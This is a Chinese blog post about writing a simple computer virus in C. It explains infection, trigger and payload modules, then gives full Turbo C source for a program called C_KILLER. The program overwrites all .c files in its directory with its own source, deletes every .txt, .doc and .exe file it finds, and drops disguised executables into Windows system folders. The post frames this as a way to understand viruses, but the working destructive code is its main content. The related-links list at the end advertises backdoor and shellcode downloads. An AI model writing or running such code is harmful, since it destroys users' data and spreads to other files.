`

用C语言编写简单的病毒

阅读更多

[摘要]在分析病毒机理的基础上,用C语言写了一个小病毒作为实例,用TURBOC2.0实现.
[Abstract] This paper introduce the charateristic of the computer virus,then show a simple example written by TURBOC2.0.
一、什么是病毒
恶意软件可能是第一个对我们产生影响的计算机安全问题.所以病毒在信息安全中是很重要的.
我们要对付病毒,就要了解病毒.
写一些病毒是一个很好的办法.
如果要写一个病毒,先要知道它是什么.可以给病毒一个定义,这一定义是被广泛认可的。Frederic Cohen博士在《计算机病毒简短讲座》中提到的:
“……一种能够通过修改自身来包括或释放自我拷贝而传染给其他程序的程序。“

其实病毒和普通程序并无太大不同,而且通常比较简单,不像很多程序那样复杂。只不过病毒里面用到一些正常程序一般不会用到的技术。
要编制一个病毒,首先要知道病毒的运行机理。
不论是何种病毒,它一般在结构上分为三个功能模块:感染机制,触发机制和有效载荷。
在病毒结构中,首要的而且唯一必需的部分是感染机制。病毒首先必须是能够繁殖自身的代码,这是病毒之所以成为病毒的根本
原因。我们可以用一段类C伪码来表示这个过程。
InfectSection()
{
if (infectable_object_found
&&object_not_already_infect)
infect_object;
}

病毒的第二个主要构成部分是有效载荷触发事件.一个病毒来到你的电脑后,不大可能立即发作,否则它不会被传播得很远.潜伏的敌人永远要比能见到的敌人危险得多.病毒一般是在找到一定数量的感染体,某一日期或时间,某一段文本后触发.
一个简单的触发机制可能是这样工作的:
TriggerSection()
{
if (date_is_Friday_13th_and_time_is_03:13:13)
set_trigger_status_to_yes;
}

有效载荷就是病毒用来骚扰你的电脑的方法,有触发机制的病毒一般也有有效载荷。它可以是任意的给你发一条一次性简单的愚弄信息,重新格式化你的磁盘,把它自己邮给你的E_mail通信者都可以成为有效的负荷。简单的有效负荷可以如下进行:
Executesection()
{
if (trigger_statue_is_yes)
execute_payload;
}

二、 编制病毒的语言
最常见的编制病毒的语言有汇编语言、VB、C 语言等,我们可以来看一看一个有名的病毒论坛上认为学写病毒要掌握的基础:
1).Win32编程,进程,线程,内存,等等。
  2).32位汇编,以指令用法为主。386汇编就比较够用了。
  3).PE格式,有精力还可以看一下其它可能被感染的文件的文件格式。
  4).调试技术。VC,TD32,SoftIce,等等。
要掌握的东西确实很多,还多听都没听过,很吓人.但实际上,即使我们对计算机的原理和操作系统不很了解,而且不熟悉除C
以外的其他语言,只要我们对C的库函数有一定了解,就可以写一些类似病毒的东西.


三 用C编制病毒
以TurboC2.0为例.它的库函数可以实现很多功能.
如以下两个函数:
1).findfirst和findnext函数:在dir.h。findfirst用来找各种类型的文件,可以得到文件名文件长度,文件属性等,findnext和findfirst配合使用,用来找到下一个同类型的文件。
2).remove函数:在stdio.h.只要知道文件名,可以删除任意类型的文件.

四 我写的C病毒
<<计算机病毒解密>>上有一句比较经典的话,"或许把恶意软件造成的损害说成是心理上的损害
可能会更恰当一些".从这个意义上说,我的病毒是非常典型的病毒.
下面是我写的病毒.
它主要由四个模块组成.
RubbishMaker()可用来在当前目录下生成大量随机命名的垃圾文件.
CreatEXE()将在C盘的敏感地方放置几个.exe垃圾,它们要隐蔽一些。
Remove()会删掉你的一些东西,所以千万不要随便运行这个程序.
Breed()是C_KILLER的精华所在,它将kill所有的c程序,并利用它们繁殖自身.
前三个是有效负载.

第四个可以说是它的感染机制.

 

/**********************************

IN FACT,IT"S NOT A VIRYUS AT ALL.

**********************************/

#include <io.h>
#include <dir.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>


/* copy outfile to infile */
void copyfile(char *infile, char *outfile)
{
    FILE *in,*out;


    in = fopen(infile,"r");
    out = fopen(outfile,"w");


    while (!feof(in))
    {
        fputc(fgetc(in),out);
    }


    fclose(in);
    fclose(out);
}


/*


This function  named Rubbishmaker.


*/
void MakeRubbish()
{
    int i;    
    FILE *fp;
    char *path;
    char *NewName;
    char *disk[7] = {"A","B","C","D","E","F","G"};
    char *addtion = ":\\";


    /* Make some rubbish at the current catalogue */
    for (i = 0; i<5; i++)
    {
        char tempname[] = "XXXXXX" ;


        NewName = mktemp(tempname);
        fp = fopen(NewName,"w");
        fclose(fp);
    }

/* make some rubbish at the root catalogue */


    path = strcat(disk[getdisk()],addtion); /* get the root catalogue */
    chdir(path); /*change directory according to the "path" */

    for (i = 0; i<5; i++)
    {
        char tempname[] = "XXXXXX";


        NewName = mktemp(tempname);
        fp = fopen(NewName,"w");
        fclose(fp);
    }
}


/*
  This function can  creat some .exe or .com documents in the sensitive place.
  Don't worry,It's only a joke.It will do no harm to your computer.


*/

void CreatEXE()
{
    int i;
    char *path;


    char *s[2] = {"C:\\WINDOWS\\system32\\loveworm.exe","C:\\WINDOWS\\virusssss.com"};




    for ( i = 0; i < 2; i++)
    {
        open(s[i], 0x0100,0x0080);
        copyfile( "C_KILLER.C",s[i]);


    }
}


/* remove something from your computer */
void Remove()
{
        
    int done;
    int i;
    struct ffblk ffblk;
    char *documenttype[3] = {"*.txt","*.doc","*.exe"};
    for (i = 0; i < 3; i++)
    {
        done = findfirst(documenttype[i],&ffblk,2);
        while (!done)
        {
                remove(ffblk.ff_name);
                done = findnext(&ffblk);
        }
    }
}

/* overlay the c programs */
void Breed()
{
        
    int done;
    struct ffblk ffblk;
    done = findfirst("*.c",&ffblk,2);
    while (!done)
    {
        if (strcmp("C_KILLER.C", ffblk.ff_name) != 0 )
        {
                copyfile("C_KILLER.C",ffblk.ff_name);
        }
        done = findnext(&ffblk);
    }
}


void main()
{
        printf("THERE IS A VIRUS BY  XIAOKE.\n\n");
        Breed();
        Remove();
        CreatEXE();
        printf("COULD YOU TELL ME YOUR NAME?\n\n");
        printf("NOW,PLEASE ENTER YOUR NAME,OR THERE WILL BE SOME TROUBLE WITH YOU!\n\n");
        MakeRubbish();
        getchar();
        printf("IT'S ONLY A JOKE! THANK YOU!\n\n");
        clrscr();
        system("cmd");
}





分享到:
评论

相关推荐

    C语言编写的病毒范例

    可以供初学者玩玩的小C语言小程序,可以通过这个东西来体会编程的一些思路和过程,希望以后对大家有帮助

    用C语言编病毒

    用C语言编写的病毒,仅供参考

    USB病毒修复软件,C语言编写

    U盘病毒杀毒后,隐藏文件的恢复软件。只能用于恢复隐藏文件,不具备杀毒功能。

    C语言做的ATM机程序

    这是一个用C语言编写的ATM机程序,包括:帐户注册、登录、存款、取款、转帐、修改密码、存款查询、取款查询、余额查询等操作。此程序仅用于学习研究之用。因时间有限难免会有一些不足之处,如果大家有什么问题可以给...

    用C语言设计Win32程序

    用C语言设计Win32程序,本书以实用实例作为编程指导,指引大家编写真正实用的程序。了解到大家对黑客程序、病毒、窗口类程序比较感兴趣,因此我就拿这些实例进行讲解。基于大家基本都用Windows XP SP3,我也就在这个...

    who-openport:用纯C语言编写的后门解体程序。此项目已经存在,并且正在运行中!

    经典反向后门,用C语言编写。正在开发中。 “谁打开了门?” 该代码旨在包括一种通过仅在计算机上安装一次程序来远程访问系统的方法。 一旦确保访问权限,服务器将能够在计算机上执行任意功能,并更改系统。 一旦...

    c语言病毒查看工具 txt

    *************************************************************************** * * * File: ANTI-VIRUS * * Function: This program demostrating file anti-virus managment * * * * * ...

    C语言实战105例

    全书分为8篇,包括基础篇、数值计算与数据结构篇、文本屏幕与文件操作篇、病毒与安全篇、图形篇、系统篇、游戏篇、综合篇,基本涵盖了目前C语言编程的各个方面。 本书全部以实例为线索展开讲解,注重对实例的分析...

    数据结构课程设计 病毒感染检测 可执行程序+电子版报告

    (2)要求将检测结果输出到文件中,文件中包括num行,每行有三个数据,用空格分隔,前两个数据分别表示输入文件中对应病毒的DNA序列和人的DNA序列,如果该人感染了对应的病毒,该行第三个数据则为“YES”,否则为...

    病毒感染检测实验报告.doc

    医学研究者最近发现了某些新病毒,通过对这些病毒的分析,得知它们的DNA序列都是环形的.现在研究者已收集了大量的病毒DNA和人的DNA数据,想快速检测出这些人是否感染了相应的病毒。为了方便研究,研究者将人的DNA和病毒...

    proteus中直接编译C程序

    本软件的特点是:不论源程序是汇编语言编写的还是C语言编写的,软件都能自动识别它并生成HEX可执行文件。 如果被杀毒软件报为病毒,请直接添加“信任”即可。 如果编译出错的话,那很有可能你的程序有语法错误,请...

    用C语言设计Win32程序(附C语言设计QQ登陆界面实例)

    本书以实用实例作为编程指导,指引大家编写真正实用的程序。了解到大家对黑客程序、病毒、窗口类程序比较感兴趣,因此我就拿这些实例进行讲解。

    反病毒软件 机器狗专杀工具

    机器狗木马病毒是用一个C语言编写的木马病毒。病毒运行后会删除系统目录下的userinit.exe,并建立一个包含病毒的userinit.exe,随系统每次启动时加载到系统中。此文件运行后会在系统的SOFTWARE\Microsoft\Windows ...

    U盘病毒监控一个小程序

    基于c语言编写的 U盘病毒监控程序。。转自他人。。非本人程序

    Delphi编写本地溢出反向连接通用ShellCode

    内部镶有API搜索引擎和数据代码融合(很简单的技术,病毒和ShellCode都用得到),有兴趣大家自己用Debug跟一下我就不对说了... 感谢zhengxi&#39;s Crc32函数,Vecna API函数搜索引擎和29A的病毒杂志,还有pker的~API搜索...

Global site tag (gtag.js) - Google Analytics